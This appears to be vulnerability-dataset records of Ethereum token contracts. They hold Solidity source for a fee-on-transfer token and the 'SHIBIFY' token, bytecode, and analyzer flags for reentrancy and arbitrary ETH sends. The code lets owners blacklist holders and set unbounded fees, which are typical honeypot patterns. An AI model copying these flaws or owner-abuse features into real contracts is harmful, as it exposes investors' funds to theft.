amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { require(!tradingOpen); tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) { bots[bots_[i]] = true; } } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { require(taxFeeOnBuy<=_taxFeeOnBuy||taxFeeOnSell<=_taxFeeOnSell); _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) external onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } function toggleSwap(bool _swapEnabled) external onlyOwner{ swapEnabled = _swapEnabled; } function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner { require(maxTxAmount > 5000000 * 10**9 ); _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } function setRemoveTxLimit(bool enable) external onlyOwner{ _removeTxLimit = enable; } }
0x6080604052600436106101db5760003560e01c806374010ece11610102578063a2a957bb11610095578063c492f04611610064578063c492f04614610581578063dd62ed3e146105a1578063ea1644d5146105e7578063f2fde38b1461060757600080fd5b8063a2a957bb146104fc578063a9059cbb1461051c578063bfd792841461053c578063c3c8cd801461056c57600080fd5b80638f70ccf7116100d15780638f70ccf7146104795780638f9a55c01461049957806395d89b41146104af57806398a5c315146104dc57600080fd5b806374010ece146103f85780637d1db4a5146104185780637f2feddc1461042e5780638da5cb5b1461045b57600080fd5b80632fd689e31161017a5780636d8aa8f8116101495780636d8aa8f81461038e5780636fc3eaec146103ae57806370a08231146103c3578063715018a6146103e357600080fd5b80632fd689e31461031c578063313ce5671461033257806349bd5a5e1461034e5780636b9990531461036e57600080fd5b8063095ea7b3116101b6578063095ea7b31461026f5780631694505e1461029f57806318160ddd146102d757806323b872dd146102fc57600080fd5b8062b8cf2a146101e757806306fdde0314610209578063093bb7201461024f57600080fd5b366101e257005b600080fd5b3480156101f357600080fd5b50610207610202366004611a86565b610627565b005b34801561021557600080fd5b5060408051808201909152600b81526a086eaf4928edee890928e960ab1b60208201525b6040516102469190611b4b565b60405180910390f35b34801561025b57600080fd5b5061020761026a366004611bb0565b61074d565b34801561027b57600080fd5b5061028f61028a366004611bcb565b610795565b6040519015158152602001610246565b3480156102ab57600080fd5b506013546102bf906001600160a01b031681565b6040516001600160a01b039091168152602001610246565b3480156102e357600080fd5b50670de0b6b3a76400005b604051908152602001610246565b34801561030857600080fd5b5061028f610317366004611bf7565b6107ac565b34801561032857600080fd5b506102ee60175481565b34801561033e57600080fd5b5060405160098152602001610246565b34801561035a57600080fd5b506014546102bf906001600160a01b031681565b34801561037a57600080fd5b50610207610389366004611c38565b610815565b34801561039a57600080fd5b506102076103a9366004611bb0565b610860565b3480156103ba57600080fd5b506102076108a8565b3480156103cf57600080fd5b506102ee6103de366004611c38565b6108d5565b3480156103ef57600080fd5b506102076108f7565b34801561040457600080fd5b50610207610413366004611c55565b61096b565b34801561042457600080fd5b506102ee60155481565b34801561043a57600080fd5b506102ee610449366004611c38565b60116020526000908152604090205481565b34801561046757600080fd5b506000546001600160a01b03166102bf565b34801561048557600080fd5b50610207610494366004611bb0565b6109ad565b3480156104a557600080fd5b506102ee60165481565b3480156104bb57600080fd5b50604080518082019091526004815263090928e960e31b6020820152610239565b3480156104e857600080fd5b506102076104f7366004611c55565b610a0c565b34801561050857600080fd5b50610207610517366004611c6e565b610a3b565b34801561052857600080fd5b5061028f610537366004611bcb565b610a95565b34801561054857600080fd5b5061028f610557366004611c38565b60106020526000908152604090205460ff1681565b34801561057857600080fd5b50610207610aa2565b34801561058d57600080fd5b5061020761059c366004611ca0565b610ad8565b3480156105ad57600080fd5b506102ee6105bc366004611d24565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105f357600080fd5b50610207610602366004611c55565b610b79565b34801561061357600080fd5b50610207610622366004611c38565b610ba8565b6000546001600160a01b0316331461065a5760405162461bcd60e51b815260040161065190611d5d565b60405180910390fd5b60005b81518110156107495760145482516001600160a01b039091169083908390811061068957610689611d92565b60200260200101516001600160a01b0316141580156106da575060135482516001600160a01b03909116908390839081106106c6576106c6611d92565b60200260200101516001600160a01b031614155b15610737576001601060008484815181106106f7576106f7611d92565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b8061074181611dbe565b91505061065d565b5050565b6000546001600160a01b031633146107775760405162461bcd60e51b815260040161065190611d5d565b60148054911515600160b81b0260ff60b81b19909216919091179055565b60006107a2338484610c92565b5060015b92915050565b60006107b9848484610db6565b61080b843361080685604051806060016040528060288152602001611ed8602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611314565b610c92565b5060019392505050565b6000546001600160a01b0316331461083f5760405162461bcd60e51b815260040161065190611d5d565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461088a5760405162461bcd60e51b815260040161065190611d5d565b60148054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316146108c857600080fd5b476108d28161134e565b50565b6001600160a01b0381166000908152600260205260408120546107a690611388565b6000546001600160a01b031633146109215760405162461bcd60e51b815260040161065190611d5d565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146109955760405162461bcd60e51b815260040161065190611d5d565b6611c37937e0800081116109a857600080fd5b601555565b6000546001600160a01b031633146109d75760405162461bcd60e51b815260040161065190611d5d565b601454600160a01b900460ff16156109ee57600080fd5b60148054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b03163314610a365760405162461bcd60e51b815260040161065190611d5d565b601755565b6000546001600160a01b03163314610a655760405162461bcd60e51b815260040161065190611d5d565b60095482111580610a785750600b548111155b610a8157600080fd5b600893909355600a91909155600955600b55565b60006107a2338484610db6565b6012546001600160a01b0316336001600160a01b031614610ac257600080fd5b6000610acd306108d5565b90506108d28161140c565b6000546001600160a01b03163314610b025760405162461bcd60e51b815260040161065190611d5d565b60005b82811015610b73578160056000868685818110610b2457610b24611d92565b9050602002016020810190610b399190611c38565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610b6b81611dbe565b915050610b05565b50505050565b6000546001600160a01b03163314610ba35760405162461bcd60e51b815260040161065190611d5d565b601655565b6000546001600160a01b03163314610bd25760405162461bcd60e51b815260040161065190611d5d565b6001600160a01b038116610c375760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610651565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610cf45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610651565b6001600160a01b038216610d555760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610651565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610e1a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610651565b6001600160a01b038216610e7c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610651565b60008111610ede5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610651565b6000546001600160a01b03848116911614801590610f0a57506000546001600160a01b03838116911614155b1561120d57601454600160a01b900460ff16610fa3576000546001600160a01b03848116911614610fa35760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610651565b601454600160b81b900460ff16611006576015548111156110065760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610651565b6001600160a01b03831660009081526010602052604090205460ff1615801561104857506001600160a01b03821660009081526010602052604090205460ff16155b6110a05760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610651565b6014546001600160a01b0383811691161461113657601454600160b81b900460ff1661113657601654816110d3846108d5565b6110dd9190611dd9565b106111365760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610651565b6000611141306108d5565b60175460155491925082101590821061115a5760155491505b8080156111715750601454600160a81b900460ff16155b801561118b57506014546001600160a01b03868116911614155b80156111a05750601454600160b01b900460ff165b80156111c557506001600160a01b03851660009081526005602052604090205460ff16155b80156111ea57506001600160a01b03841660009081526005602052604090205460ff16155b1561120a576111f88261140c565b478015611208576112084761134e565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061124f57506001600160a01b03831660009081526005602052604090205460ff165b8061128157506014546001600160a01b0385811691161480159061128157506014546001600160a01b03848116911614155b1561128e57506000611308565b6014546001600160a01b0385811691161480156112b957506013546001600160a01b03848116911614155b156112cb57600854600c55600954600d555b6014546001600160a01b0384811691161480156112f657506013546001600160a01b03858116911614155b1561130857600a54600c55600b54600d555b610b7384848484611595565b600081848411156113385760405162461bcd60e51b81526004016106519190611b4b565b5060006113458486611df1565b95945050505050565b6012546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610749573d6000803e3d6000fd5b60006006548211156113ef5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610651565b60006113f96115c3565b905061140583826115e6565b9392505050565b6014805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061145457611454611d92565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156114a857600080fd5b505afa1580156114bc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114e09190611e08565b816001815181106114f3576114f3611d92565b6001600160a01b0392831660209182029290920101526013546115199130911684610c92565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac94790611552908590600090869030904290600401611e25565b600060405180830381600087803b15801561156c57600080fd5b505af1158015611580573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b806115a2576115a2611628565b6115ad848484611656565b80610b7357610b73600e54600c55600f54600d55565b60008060006115d061174d565b90925090506115df82826115e6565b9250505090565b600061140583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061178d565b600c541580156116385750600d54155b1561163f57565b600c8054600e55600d8054600f5560009182905555565b600080600080600080611668876117bb565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061169a9087611818565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546116c9908661185a565b6001600160a01b0389166000908152600260205260409020556116eb816118b9565b6116f58483611903565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161173a91815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061176882826115e6565b82101561178457505060065492670de0b6b3a764000092509050565b90939092509050565b600081836117ae5760405162461bcd60e51b81526004016106519190611b4b565b5060006113458486611e96565b60008060008060008060008060006117d88a600c54600d54611927565b92509250925060006117e86115c3565b905060008060006117fb8e87878761197c565b919e509c509a509598509396509194505050505091939550919395565b600061140583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611314565b6000806118678385611dd9565b9050838110156114055760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610651565b60006118c36115c3565b905060006118d183836119cc565b306000908152600260205260409020549091506118ee908261185a565b30600090815260026020526040902055505050565b6006546119109083611818565b600655600754611920908261185a565b6007555050565b6000808080611941606461193b89896119cc565b906115e6565b90506000611954606461193b8a896119cc565b9050600061196c826119668b86611818565b90611818565b9992985090965090945050505050565b600080808061198b88866119cc565b9050600061199988876119cc565b905060006119a788886119cc565b905060006119b9826119668686611818565b939b939a50919850919650505050505050565b6000826119db575060006107a6565b60006119e78385611eb8565b9050826119f48583611e96565b146114055760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610651565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146108d257600080fd5b8035611a8181611a61565b919050565b60006020808385031215611a9957600080fd5b823567ffffffffffffffff80821115611ab157600080fd5b818501915085601f830112611ac557600080fd5b813581811115611ad757611ad7611a4b565b8060051b604051601f19603f83011681018181108582111715611afc57611afc611a4b565b604052918252848201925083810185019188831115611b1a57600080fd5b938501935b82851015611b3f57611b3085611a76565b84529385019392850192611b1f565b98975050505050505050565b600060208083528351808285015260005b81811015611b7857858101830151858201604001528201611b5c565b81811115611b8a576000604083870101525b50601f01601f1916929092016040019392505050565b80358015158114611a8157600080fd5b600060208284031215611bc257600080fd5b61140582611ba0565b60008060408385031215611bde57600080fd5b8235611be981611a61565b946020939093013593505050565b600080600060608486031215611c0c57600080fd5b8335611c1781611a61565b92506020840135611c2781611a61565b929592945050506040919091013590565b600060208284031215611c4a57600080fd5b813561140581611a61565b600060208284031215611c6757600080fd5b5035919050565b60008060008060808587031215611c8457600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611cb557600080fd5b833567ffffffffffffffff80821115611ccd57600080fd5b818601915086601f830112611ce157600080fd5b813581811115611cf057600080fd5b8760208260051b8501011115611d0557600080fd5b602092830195509350611d1b9186019050611ba0565b90509250925092565b60008060408385031215611d3757600080fd5b8235611d4281611a61565b91506020830135611d5281611a61565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611dd257611dd2611da8565b5060010190565b60008219821115611dec57611dec611da8565b500190565b600082821015611e0357611e03611da8565b500390565b600060208284031215611e1a57600080fd5b815161140581611a61565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611e755784516001600160a01b031683529383019391830191600101611e50565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611eb357634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611ed257611ed2611da8565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122063c4cee00db18947977284022e2970f7cccc184484f7fafc2e2944a52e92f52d64736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
4,896
0x7dc94903f28ab7b42c4287753ae9057c1666ba96
/** *Submitted for verification at Etherscan.io on 2022-04-04 */ // SPDX-License-Identifier: Unlicensed /* SHIBIFY is a next generation music platform which creates a fully decentralized economy between everyone and artists. We’re building the next generation of the creator economy at the intersection of web3, social, and DeFi to ignite the future of community. With SHIBIFY, it’s easy to find the right music or podcast for every moment – on your phone, your computer, your tablet and more. https://t.me/shibify */ pragma solidity ^0.8.10; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner() { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner() { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); } contract SHIBIFY is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isBot; uint256 private constant _MAX = ~uint256(0); uint256 private constant _tTotal = 1e10 * 10**9; uint256 private _rTotal = (_MAX - (_MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "SHIBIFY"; string private constant _symbol = "SHIBIFY"; uint private constant _decimals = 9; uint256 private _teamFee = 13; uint256 private _previousteamFee = _teamFee; address payable private _feeAddress; IUniswapV2Router02 private _uniswapV2Router; address private _uniswapV2Pair; bool private _initialized = false; bool private _noTaxMode = false; bool private _inSwap = false; bool private _tradingOpen = false; uint256 private _launchTime; uint256 private _initialLimitDuration; modifier lockTheSwap() { _inSwap = true; _; _inSwap = false; } modifier handleFees(bool takeFee) { if (!takeFee) _removeAllFees(); _; if (!takeFee) _restoreAllFees(); } constructor () { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _removeAllFees() private { require(_teamFee > 0); _previousteamFee = _teamFee; _teamFee = 0; } function _restoreAllFees() private { _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isBot[from], "Your address has been marked as a bot, please contact staff to appeal your case."); bool takeFee = false; if ( !_isExcludedFromFee[from] && !_isExcludedFromFee[to] && !_noTaxMode && (from == _uniswapV2Pair || to == _uniswapV2Pair) ) { require(_tradingOpen, 'Trading has not yet been opened.'); takeFee = true; if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _initialLimitDuration > block.timestamp) { uint walletBalance = balanceOf(address(to)); require(amount.add(walletBalance) <= _tTotal.mul(2).div(100)); } if (block.timestamp == _launchTime) _isBot[to] = true; uint256 contractTokenBalance = balanceOf(address(this)); if (!_inSwap && from != _uniswapV2Pair) { if (contractTokenBalance > 0) { if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(15).div(100)) contractTokenBalance = balanceOf(_uniswapV2Pair).mul(15).div(100); uint256 burnCount = contractTokenBalance.mul(2).div(13); contractTokenBalance -= burnCount; _burnToken(burnCount); _swapTokensForEth(contractTokenBalance); } } } _tokenTransfer(from, to, amount, takeFee); } function _burnToken(uint256 burnCount) private lockTheSwap(){ _transfer(address(this), address(0xdead), burnCount); } function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswapV2Router.WETH(); _approve(address(this), address(_uniswapV2Router), tokenAmount); _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) { (uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate); return (rAmount, rTransferAmount, tTransferAmount, tTeam); } function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) { uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tTeam); return (tTransferAmount, tTeam); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rTeam); return (rAmount, rTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function initContract(address payable feeAddress) external onlyOwner() { require(!_initialized,"Contract has already been initialized"); IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); _uniswapV2Router = uniswapV2Router; _feeAddress = feeAddress; _isExcludedFromFee[_feeAddress] = true; _initialized = true; } function openTrading() external onlyOwner() { require(_initialized, "Contract must be initialized first"); _tradingOpen = true; _launchTime = block.timestamp; _initialLimitDuration = _launchTime + (5 minutes); } function setFeeWallet(address payable feeWalletAddress) external onlyOwner() { _isExcludedFromFee[_feeAddress] = false; _feeAddress = feeWalletAddress; _isExcludedFromFee[_feeAddress] = true; } function excludeFromFee(address payable ad) external onlyOwner() { _isExcludedFromFee[ad] = true; } function includeToFee(address payable ad) external onlyOwner() { _isExcludedFromFee[ad] = false; } function setTeamFee(uint256 fee) external onlyOwner() { _teamFee = fee; } function setBots(address[] memory bots_) public onlyOwner() { for (uint i = 0; i < bots_.length; i++) { if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) { _isBot[bots_[i]] = true; } } } function delBots(address[] memory bots_) public onlyOwner() { for (uint i = 0; i < bots_.length; i++) { _isBot[bots_[i]] = false; } } function isBot(address ad) public view returns (bool) { return _isBot[ad]; } function isExcludedFromFee(address ad) public view returns (bool) { return _isExcludedFromFee[ad]; } function swapFeesManual() external onlyOwner() { uint256 contractBalance = balanceOf(address(this)); _swapTokensForEth(contractBalance); } function withdrawFees() external { uint256 contractETHBalance = address(this).balance; _feeAddress.transfer(contractETHBalance); } receive() external payable {} }
